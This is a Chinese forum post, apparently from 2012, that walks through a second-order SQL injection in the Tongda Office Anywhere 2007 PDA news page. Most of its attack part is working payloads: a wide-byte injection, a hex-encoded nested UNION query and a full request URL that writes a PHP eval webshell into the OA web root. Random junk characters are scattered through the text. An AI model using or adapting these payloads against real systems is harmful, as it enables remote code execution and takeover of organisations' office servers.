目前测试通达OA2007版本; Y- c2 j; H4 {0 h$ s: {0 R
7 b: o! S& |4 G7 L$ K, E 6 {; }+ Y# |/ @
Office Anywhere 2007 网络智能办公系统
; w$ j4 S+ j2 ~" ]! Q. A1 h , A8 @6 ]+ ^% ^$ I, |
http://127.0.0.1/pda/news/read.php?P=%cf' 猪点。 暴web目录..
' n: p# E# P/ @( q 8 w# w1 H O9 h ^) o: k
+ s6 ]& [' ]/ k- `这个时候看了下代码，存在注入的那个变量的语句中第3个字段，在该文件下面被另外个select语句调用了，灵光一闪，大概思路是这样的
8 [8 u+ c Y0 \5 F4 f+ \1 L0 A
/ t+ Z1 @ F/ l- C+ R! \6 M例如：SELECT * from USER where USER_ID='{$USERNAME}' & w/ P. b5 {0 e. r" N5 l
其中有这么段字段声明$PROVIDER = $ROW['PROVIDER'];被下面个语句$query1 = "SELECT * from USER where USER_ID='{$PROVIDER}'";带入查询了" F( ]4 l7 u8 W& N+ G+ F L% l9 }
) G; s1 Z% e: d5 D' N. F$ b
这个时候我们是不是可以组合起来使用哪？
6 f8 A% I; F. n& B
1 ?$ o* i' p* p8 g: M8 ~5 h& H第一条语句开始注入，union select 1,2,3,4,5,6,7,8,9,10...，比如第3个是PROVIDER字段，我们这样
6 L4 _. a6 a7 r" Z( ]union select 1,2,'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#,4,5,6,7,8,9,104 k/ v% N5 S4 s$ a( a5 z" E% p& n
7 ~# c# v% N: x$ l" n这样'UNION SELECT 1,1,1,'<?php eval($v);?>',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 into dumpfile'B:/m.php'#这个语句就带入第二条语句去写webshell了! u: v" F4 D- m* ?: V) @
3 z5 b% S( {" V9 x
那么问题来了，单引号可以吗？当然是不可以的，^_^。。。& a8 c& z' I% Q1 V
9 N& y6 @+ v: I2 I- L3 F5 l* X; E
那么我们用字符串格式带入进行hex编码% v9 c- }/ U- y x6 G. T2 o
' A# i$ }) F* Z
%cf'UNION SELECT 1,2,3,0x27554e494f4e2053454c45435420312c312c312c273c3f706870206576616c282476293b3f3e272c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c312c3120696e746f2064756d7066696c6527423a2f6d2e7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23' h, H: d" S3 ?, K- p0 q- D) D- [
7 p) _% {& V2 G
测试ok，获取oa的webshell/ @% W8 a1 F6 J# t3 W4 Y& f
0 ~* I( \3 s6 d# Z' G# K
7 u Q3 O$ f' H2 @6 o9 e0 T& l+ v
pda/news/read.php?P=%cf'or%281=1%29%23&NEWS_ID=%cf'UNION SELECT 1,2,3,0x27554E494F4E2053454C45435420312C312C312C273C3F706870206576616C282476293B3F3E272C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C312C3120696E746F2064756D7066696C6527443A2F4D594F412F776562726F6F742F6D2E7068702723,5,6,7,8,9,10,11,12,13,14,15,16%23
( {$ r" R0 t0 e直接getwebshell |
发表于 2012-12-20 08:09:24
收藏
支持
反对